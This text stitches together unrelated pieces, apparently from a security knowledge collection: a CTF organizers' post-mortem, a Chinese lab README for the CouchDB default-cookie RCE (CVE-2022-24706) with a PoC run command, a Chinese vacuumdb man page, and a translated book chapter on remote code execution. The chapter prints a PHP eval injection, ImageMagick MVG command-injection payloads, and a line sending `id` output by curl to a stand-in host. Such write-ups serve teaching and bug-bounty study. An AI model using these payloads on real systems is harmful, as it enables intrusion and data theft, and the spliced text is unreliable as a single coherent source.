Let's ask the players. Our survey was filled in by 39 people, most of whom were satisfied with the CTF: ![](overall_score.png) Thanks, we're glad you liked it! Most participants thought our CTF is challenging, which was our intention: ![](difficulty.png) You want more web and pwn challenges. We'll try to deliver next time! ![](wantmore.png) And you want less... RE? Sorry folks, no can do. You can pry RE challenges from our cold, dead hands :P. RE = the best category, change my mind. ![](wantless.png) The best challenge, according to you, was p4fmt. I agree, hacking a kernel has a certain ring to it. Additionally, it was relatively easy (for a kernel exploit that is), so it's a perfect opportunity to start your <del>descent into madness</del> journey into the awesome world of ring0 exploits. PS. It was a pain to set up. Glad it was worth it. ![](bestchall.png) And which challenge was the worst, the most loathed, which challenge was hated with the burning passion? `Sanity Check`, apparently: ![](worstchall.png) I hope people selected it just because all the other challenges were perfect ;). Although... ![](irc.png) Can't argue with that logic. ## 3. Infrastructure Oh boy. I was primarily responsible for it (with a lot of help from @des and @rev) so I could talk hours about this. It has also cost me two almost sleepless nights (that's what you get for delaying everything to the last minute), so I'm glad it's over now. We decided to go with a quite unusual approach. We've used a kubernetes cluster hosted in DigitalOcean: ![](docluster.png) I have to say, I'm really satisfied with the results. The whole infrastructure cost literally pennies (ok, $10.18 exactly). We deployed and tested the challenges before the CTF on a small, 2-node cluster, scaled up to 4 nodes just before the CTF, and downscaled to a single node now that the CTF is over. I'm also planning to migrate the challenges to my own server soon, so we won't have to pay anymore and everything is still up. Overall, using kubernetes turned out to be quite nice (though a pain to set up sometimes). For starters, we get this nice dashboard, with restart buttons and service statuses: ![](kubernetes.png) It also allowed us to do some tricky admin stuff in case of performance problems, like migrating challenges to other nodes etc. We used Cloudflare to save on traffic and reduce the risk of a DDoS attack. Luckily it was not necessary, but it still saved us a lot of network traffic: ![](cloudflare.png) Cloudflare analytics also tell us that we had a lot of players from all around the world: ![](cfcountries.png) This is similar to the distribution given by Google Analytics: ![](world.png) ## 4. Monitoring You can't fix your CTF unless you know what's broken. That's why we implemented quite a lot of monitoring and healthchecks and set up a bot to ping us when things go south: ![](monitoring.png) It worked reasonably well, and we had a chance to react quickly - hopefully before players noticed the problem. Fortunately, everything was quite stable and we didn't have a lot of crashes. Most of our performance problems were due to people drowning lottery and sloik with thousands of request per second. It was unfortunate because both of them could be solved (in an intended way) with less than five requests. We eventually decided to implement POW for sloik because as far as we know it didn't stop any real exploit (both intended solution and a proper version of race condition work with POW - ping us and we'll show you how). For the lottery, we decided to just deal with it, because we suspect that the challenge was solved by some teams by just sending a ton of requests per second for hours and having a lot of luck. Adding a POW would be unfair to other teams. Some pretty graphs from our internal Grafana: ![](daszbord.png) As you can see, there were a few hot moments, but everything calmed down at the end (POW for sloik helped a lot too). ## 5. Flags Finally, few highligts from the flag submission logs. #### "Sanity check" challenge The flag was "hidden" in the topic of the IRC channel. But most teams were too hasty, and tried to submit flag from the (generic) challenge description. The most popular flag submitted for this challenge was: ``` p4{letters_digits_and_special_characters} ``` Nice try :). Some people even understood it as a regex challenge: ``` p4{[a-zA-Z][0-9]\" !\"#$%&'()*+,-./:;<=>?@[\\]^_`{|} p4{[a-zA-Z][0-9]!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|} p4{[a-zA-Z][0-9][!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|} ``` That's not what we mean by "sanity". And finally, one player thought that it's all a trick and tried to submit their csrf_token as a flag: ``` p4{IjJkZjJlNWRmODZhNzY2NmMxOTRhNjFlNGJkNzgxNGY5N2ZlZWVmMjIi.D262gw.eqIm8yyJvL_Gm0daaBDUAynlKjY} ``` #### "neuralflag" challenge We were really rooting for this team that got close to solving this challenge: ``` p4{ml_is_ez} p4{m1_is_ez} p4{m1_i5_ez} p4{m1_i5_ez} p4{ml_i5_ez} p4{ml_i5_ez} p4{ml_i5_8z} p4{ml_is_ez} p4{ml_is_ez} p4{m1_i5_8z} p4{m1_i5_ez} ``` The challenge was about recovering an original image from neural network, so they clearly had a rather distorted one. Fortunatelly, they finally managed to solve this task! #### "Admin panel" challenge Some teams tried to submit random strings from source code as a flag: ``` p4{\hash\: [0-9A-Z\\\]+} p4{[0-9A-Z\\\]+} p4{[0-9A-Z\\\]+} p4{da714db9f020aa05057d305241e00dc521552748401} ``` Come on, the challenge was easy, but not *that* easy :>. #### "Elementary" challenge The definition of irony: ``` p4{I_really_hope_youatomaed_this_somehow_otherwise_it_might_be_a_bit_frustrating_to_do_this_manually} p4{I_really_hope_you_atomaed_this_somehow_otherwise_it_might_be_a_bit_frustrating_to_do_this_manually} ``` And others didn't even have enough patience: ``` p4{I_really_hope_you_automated_this_some} ``` ## 6. Closing thoughts Thanks everyone for playing! And see you on the finals.
sec-knowleage
# CouchDB Erlang 分布式协议代码执行 (CVE-2022-24706) Apache CouchDB是一个Erlang开发的NoSQL数据库。 由于Erlang的特性,其支持分布式计算,分布式节点之间通过Erlang/OTP Distribution协议进行通信。攻击者如果知道通信时使用的Cookie,即可在握手包通过认证并执行任意命令。 在CouchDB 3.2.1及以前版本中,使用了默认Cookie,值为“monster”。 参考链接: - <https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html> - <https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/> - <https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb> - <https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit> ## 漏洞环境 执行如下命令启动一个Apache CouchDB 3.2.1服务: ``` docker compose up -d ``` 服务启动后,会监听三个端口: - 5984: Apache CouchDB Web管理接口 - 4369: Erlang端口映射服务(epmd) - 9100: 集群节点通信和运行时自省服务(代码执行实际发生在这个端口中) 其中,Web管理接口和epmd服务端口是固定的,而集群通信接口在Vulhub中是9100。实际环境下,这个端口通常是随机的,我们可以通过epmd服务来获取这个端口的数值。 ## Exploit 我们可以使用[这个POC](poc.py)来利用本漏洞。这个POC会先通过目标的4369端口epmd服务获取集群通信的端口,也就是9100,然后再使用默认Cookie来控制节点执行任意命令。 ``` python poc.py target-ip 4369 ``` ![](1.png)
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "VACUUMDB" "1" "2003-11-02" "Application" "PostgreSQL Client Applications" .SH NAME vacuumdb \- 收集垃圾并且分析一个PostgreSQL 数据库 .SH SYNOPSIS .sp \fBvacuumdb\fR\fR [ \fR\fB\fIconnection-option\fB\fR...\fB \fR\fR]\fR \fR[\fR \fB--full\fR\fR | \fR\fB-f\fR\fR ]\fR \fR[\fR \fB--verbose\fR\fR | \fR\fB-v\fR\fR ]\fR \fR[\fR \fB--analyze\fR\fR | \fR\fB-z\fR\fR ]\fR\fR [ \fR\fB--table | -t \fItable\fB\fR [ \fB( \fIcolumn\fB [,...] ) \fR]\fB \fR\fR]\fR\fR [ \fR\fB\fIdbname\fB \fR\fR]\fR \fBvacuumdb\fR\fR [ \fR\fB\fIconnection-options\fB\fR...\fB \fR\fR]\fR \fR[\fR \fB--all\fR\fR | \fR\fB-a\fR\fR ]\fR \fR[\fR \fB--full\fR\fR | \fR\fB-f\fR\fR ]\fR \fR[\fR \fB--verbose\fR\fR | \fR\fB-v\fR\fR ]\fR \fR[\fR \fB--analyze\fR\fR | \fR\fB-z\fR\fR ]\fR .SH "DESCRIPTION 描述" .PP \fBvacuumdb\fR 是一个用于整理 PostgreSQL 数据库的工具。 vacuumdb 还将会生成用于 PostgreSQL 查询优化器的内部统计数据。 .PP \fBvacuumdb\fR 是 SQL 命令 VACUUM [\fBvacuum\fR(7)] 的封装。 因此,用哪种方法清理数据库都没什么特别的。 .SH "OPTIONS 选项" .PP \fBvacuumdb\fR 接受下列命令行参数: .TP \fB-a\fR .TP \fB--all\fR 清理所有数据库。 .TP \fB[-d] \fIdbname\fB\fR .TP \fB[--dbname] \fIdbname\fB\fR 声明要被清理或分析的数据库名称。 如果没有声明这个参数并且没有使用 -a(或 --all), 那么从环境变量 PGDATABASE 里读取数据库名。 如果那个也没有设置,则使用连接的用户名。 .TP \fB-e\fR .TP \fB--echo\fR 回显 vacuumdb 生成的查询并且把它发送到服务器。 .TP \fB-f\fR .TP \fB--full\fR 执行"完全"清理. .TP \fB-q\fR .TP \fB--quiet\fR 不显示响应。 .TP \fB-t \fItable\fB [ (\fIcolumn\fB [,...]) ]\fR .TP \fB--table \fItable\fB [ (\fIcolumn\fB [,...]) ]\fR 只是清理或分析 table。 字段名称只是在与 --analyze 选项联合使用时才需要声明。 .sp .RS .B "Tip:" 提示: 如果你声明了要清理的字段,你可能不得不在 shell 上逃逸圆括弧(见下面的例子)。 .RE .sp .TP \fB-v\fR .TP \fB--verbose\fR 在处理过程中打印详细信息。 .TP \fB-z\fR .TP \fB--analyze\fR 计算用于优化器的该数据库的统计值。 .PP .PP \fBvacuumdb\fR 还接受下面的命令行参数用于联接参数: .TP \fB-h \fIhost\fB\fR .TP \fB--host \fIhost\fB\fR 声明运行服务器的机器的主机名。 如果主机名以斜扛开头,则它被用做到 Unix 域套接字的路径。 .TP \fB-p \fIport\fB\fR .TP \fB--port \fIport\fB\fR 声明服务器在侦听联接的 TCP 端口号或一个本地的 Unix 域套接字文件句柄。 .TP \fB-U \fIusername\fB\fR .TP \fB--username \fIusername\fB\fR 进行联接的用户名。 .TP \fB-W\fR .TP \fB--password\fR 强制口令输入提示。 .PP .SH "ENVIRONMENT 环境" .TP \fBPGDATABASE\fR .TP \fBPGHOST\fR .TP \fBPGPORT\fR .TP \fBPGUSER\fR 缺省连接参数 .SH "DIAGNOSTICS 诊断" .PP 如果出差错了。参阅 VACUUM [\fBvacuum\fR(7)] 和 \fBpsql\fR(1) 获取关于错误信息和可能问题的详细描述。 数据库服务器必须在目标主机上运行。同时,前端库 libpq 使用的任何缺省连接设置和环境变量都适用。 .SH "NOTES 注意" .PP \fBvacuumdb\fR 可能需要与 PostgreSQL 服务器连接若干次,每次都询问口令。在这种情况下,设立一个 \fI$HOME/.pgpass\fR 是比较方便的。参阅 Section 27.11 获取更多信息。 .SH "EXAMPLES 例子" .PP 整理数据库 test: .sp .nf $ \fBvacuumdb test\fR .sp .fi .PP 为优化器清理和分析一个名为 bigdb 的数据库: .sp .nf $ \fBvacuumdb --analyze bigdb\fR .sp .fi .PP 为清理数据库xyzzy里表 foo, 并且为优化器分析列 bar: .sp .nf $ \fBvacuumdb --analyze --verbose --table 'foo(bar)' xyzzy\fR .sp .fi .SH "SEE ALSO 参见" VACUUM [\fBvacuum\fR(7)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# 十五、代码执行 > 作者:Peter Yaworski > 译者:[飞龙](https://github.com/) > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) ## 描述 远程代码执行是指注入由漏洞应用解释和执行的代码。这通常由用户提交输入,应用使用它而没有任何类型的处理或验证而导致。 看一下这行代码: ```php $var = $_GET['page']; eval($var); ``` 这里,漏洞应用可能使用 URL` index.php?page=1`,但是,如果用于输入了`index.php?page=1;phpinfo() `,应用就会执行`phpinfo`函数,并返回其内容。 与之类似,远程代码执行有时用于指代命令注入,OWASP 区分了这两点。使用命令驻入,根据 OWASP,漏洞应用在主机操作系统上执行任何命令。同样,这也由不合理处理和验证用户输入导致,这会导致用户输入传递给操作系统的命令。 例如 PHP 中,这可能表现为用户输入传递给`system`函数。 ## 示例 ### 1\. Polyvore ImageMagick ImageMagick 是个软件包,通常用于处理图像,例如剪裁、缩放等等。 PHP 的 imagick、Ruby 的 rmagick 以及 paperclip,以及 NodeJs 的 imagemagick 都利用了它。在 2016 年 4 月,该库中发现了多个漏洞,其中可利用的漏洞之一就是执行远程代码,这就是我关注的。 简单来说,ImageMagick 并没有合理地传给他的过滤文件名称,并且最终用于执行`system`方法调用。因此,攻击者利益传入命令来执行,就像`https://example.com”|ls“-la`,它会被执行。一个来自 ImageMagick 的例子是: ``` convert 'https://example.com"|ls "-la' out.png ``` 现在,有趣的是,ImageMagick 为 MVG(Magick Vectire Graphics)文件定义了自己的语法。所以,攻击者能够创建文件`exploit.mvg`,带有下列代码: ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context ``` 这之后会传给该库,并且如果站点存在漏洞,代码会执行并列出目录中的文件。 了解其背景之后,Ben Sadeghipour 测试了 Yahoo acquisition 站点以及 Polyvore 是否存在漏洞。就像他博文中所述,Ben 首先在它所控制的本地机器上测试了该漏洞,来确认`mvg`文件是否正常工作。这是他使用的代码: ``` push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl http://SOMEIPADDRESS:80 80/ -d @- > /dev/null`' pop graphic-context ``` 这里你可以看到,它使用了 CURL 库来调用 SOMEIPADDRESS(将其修改为你服务器的地址)。如果成功,你就会得到像这样的响应: ![](img/15-1-1.jpg) Ben Sadeghipour ImageMagick 测试的服务器响应 下面 Ben 浏览了 Polyvore,将文件上传为它的资料头像,并在它的服务器上收到了这个响应: ![](img/15-1-2.jpg) Ben Sadeghipour Polyvore ImageMagick 响应 > 重要结论 > 阅读是成功渗透的重要组成部分,这包括阅读软件漏洞和常见漏洞,以及披露(CVE 标识符)。当你碰到没有安装安全更新的站点时,了解之前的漏洞能够帮助你。这里, Yahoo 已经修补了服务器,但是没有正确完成(我找不到关于这是什么意思的解释)。一次你,了解 ImageMagick 漏洞让 Ben 特地以这个软件为目标,并得到了 $2000 的奖金。 ## 总结 远程代码执行,就像其他漏洞一样,通常是用户输入没有合理验证和处理的结果。这里提供的例子中,ImageMagick 没有合理转义可能为恶意的内容。它和 Ben 对该漏洞的知识一起,让他能够特地寻找和测试一些漏洞站点。对于搜索这些类型的漏洞来说,没有简单的答案。要注意发布的 CVE,并且留意站点所使用的软件,它们可能会过时,也可能存在漏洞。
sec-knowleage